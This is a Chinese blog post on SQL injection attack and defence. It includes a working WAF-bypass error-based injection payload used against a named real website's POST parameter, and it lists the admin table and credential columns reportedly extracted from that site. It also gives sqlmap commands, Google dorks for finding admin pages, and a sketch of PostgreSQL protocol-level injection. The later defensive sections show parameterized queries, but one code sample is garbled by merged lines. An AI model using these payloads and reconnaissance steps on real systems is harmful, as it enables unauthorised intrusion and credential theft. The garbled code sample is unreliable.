当前位置: 首页 > news >正文

SQL 注入攻防进阶

一、先把 SQL 注入说清楚:它到底“注”进了什么
SQL 注入的本质不是“输入里有单引号”,而是“输入被当成了 SQL 语句的一部分执行”。一旦开发把外部输入拼进查询字符串里,攻击者就有机会改变查询语义:多查、少查、报错泄露、甚至写入数据

常见形态可以按“是否有回显”来理解:
1)有回显:联合查询 / 报错注入更高效
2)无回显:布尔盲注 / 时间盲注更常见
3)位置不同:GET 参数、POST 表单、JSON 体、Header(如 Cookie / X-Forwarded-For)都可能成为注入点

image

 

二、WAF 不是银弹:绕过的核心思路是什么
很多 WAF 的第一道防线仍是“关键词+正则”。攻击者的目标也很明确:让数据库能看懂,让 WAF 看不懂。

WAF 配置常见坑与改法:

image

 

漏洞信息
URL:http://www.cqzszy.com.cn/order_sell.php

注入点:POST参数bs

WAF特征:拦截select(.*)from正则模式

成功Payload
python

junk = "a" * 1000000
payload = f"""1' and updatexml(1,concat(0x7e,
(select/*{junk}*/table_name
from/*{junk}*/information_schema.tables limit 1),
0x7e),1) and '1aaaaa'='1"""

获取的数据
表名               列名                数据 
zszy_admin   aname           admin
zszy_admin   apassword (加密密码)

三、自动化工具使用技巧

3.1 SQLMap高级用法
# 读取请求文件进行注入
sqlmap -r request.txt
# 指定注入点
sqlmap -u "http://example.com?id=1" -p id
# 使用代理和延迟
sqlmap -u "http://example.com" --proxy=http://127.0.0.1:8080 --delay=1
3.2 信息收集工具
Dirsearch/Dirmap:目录扫描

AWVS:自动化漏洞扫描

Google Hacking:

google

site:example.com intext:"管理后台"
site:example.com intitle:"登录"
四、新型SQL注入技术:协议层攻击
4.1 协议层注入原理
基于DEF CON 32的最新研究成果,攻击者可以在数据库二进制协议层面实施注入:

PostgreSQL协议漏洞
// 漏洞代码示例
func (src *Bind) Encode(dst []byte) []byte {
dst = append(dst, 'B')
sp := len(dst)
// ...
pgio.SetInt32(dst[sp:], int32(len(dst[sp:]))) // 整数截断漏洞
return dst
}
攻击向量
     消息大小溢出:发送2³² + 4字节的数据

     NOP雪橇技术:使用小型消息覆盖协议

      蹦床技术:利用长度字节作为有效类型

4.3 现实影响
容器注册表:CNCF项目的默认配置存在漏洞

企业应用:VMware Tanzu Kubernetes等

无认证要求:部分配置无需认证即可利用

 

5 开发层面

# 安全的参数化查询示例
import pymysqlconnection = pymysql.connect(host='localhost',user='user',password='pass',database='db')
cursor = connection.cursor()# 不安全的方式
# cursor.execute(f"SELECT * FROM users WHERE id = {user_input}")# 安全的方式(参数化查询)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))

 

5.2 WAF配置建议

image

 

六、最重要的防守:把“输入”从 SQL 里剥离出去
防 SQL 注入最硬的一条:参数化查询/预编译。任何“手写转义”“黑名单过滤”“替换关键字”,都只是补丁,不是根治。

Python(pymysql)参数化示例:

 

cursor.execute("SELECT * FROM users WHERE id=%s", (user_input,))

除此之外,再加三条真正有用的工程策略:

  • 最小权限:业务账号不要有 DROP/FILE 等高危权限

  • 统一错误处理:生产环境不要把 DB 错误回显给用户

  • 可观测性:记录关键访问路径、异常参数模式、WAF 告警闭环

 

语言安全特性对比

image

 

http://www.jsqmd.com/news/318724/

相关文章:

  • 让 Q 值估计更准确:从 DQN 到 Double DQN 的改进方案
  • 《贾子智慧理论体系:从认知到文明的统一框架》| Kucius Wisdom Framework: A Unified Framework from Cognition to Civilization
  • 使用Dockerfile构建Flask应用镜像
  • vulnstack红队实战一
  • 全球首次突破异形框定位难题,百度开源全新OCR模型 PaddleOCR-VL-1.5
  • 智能指针详解
  • PVE 9.0 定制 Debian 13 镜像 支持 Cloud-Init 敏捷部署虚拟机【模板篇】
  • Java面试中的异常继承难题:自定义Exception避坑指南
  • Spring Boot的项目创建
  • 小程序毕设项目推荐-基于SpringBoot的医院设备管理及报修系统微信小程序基于springboot的医院设备管理及报修小程序的设计与实现【附源码+文档,调试定制服务】
  • 小程序毕设选题推荐:基于springboot的医院设备管理及报修小程序的设计与实现基于微信小程序的医院设备管理及报修系统【附源码、mysql、文档、调试+代码讲解+全bao等】
  • 基于SpringBoot的房屋租售系统毕业论文+PPT(附源代码+演示视频)
  • 销售实战资源合集
  • 使用 NanUI 快速创建具有现代用户界面的 WinForm 应用程序
  • AI运维专家圆桌:新兴技术类别的诞生
  • ServiceNow与Anthropic达成多年合作协议
  • 一款基于 .NET Avalonia 开源免费、快速、跨平台的图片查看器
  • 【课程设计/毕业设计】基于微信小程序的医院设备管理及报修系统基于springboot的医院设备管理及报修小程序的设计与实现【附源码、数据库、万字文档】
  • AI工具存在严重安全脆弱性,治理刻不容缓
  • 小程序计算机毕设之基于SpringBoot+微信小程序的微信医院医疗设备管理系统管理系统基于springboot的医院设备管理及报修小程序的设计与实现(完整前后端代码+说明文档+LW,调试定制等)
  • SolarWinds修复Web Help Desk四个关键漏洞
  • 小程序毕设项目:基于springboot的医院设备管理及报修小程序的设计与实现(源码+文档,讲解、调试运行,定制等)
  • 为啥大厂 FPS 进对局不立刻清空局外缓存,而是打完再清?(大白话超长版)
  • 【毕业设计】基于springboot的医院设备管理及报修小程序的设计与实现(源码+文档+远程调试,全bao定制等)
  • 大数据架构设计:非结构化数据处理系统搭建
  • 《明日方舟:终末地》:披着二游皮的基建模拟器
  • Redis 与大数据 NoSQL 数据库的融合应用
  • “抖音崩了”冲上热搜,无法正常搜索,刷视频功能未受影响
  • 提示工程架构师:如何用数据驱动提示优化,提升用户满意度?
  • weixin196运动健康小程序SpringBoot(源码)_kaic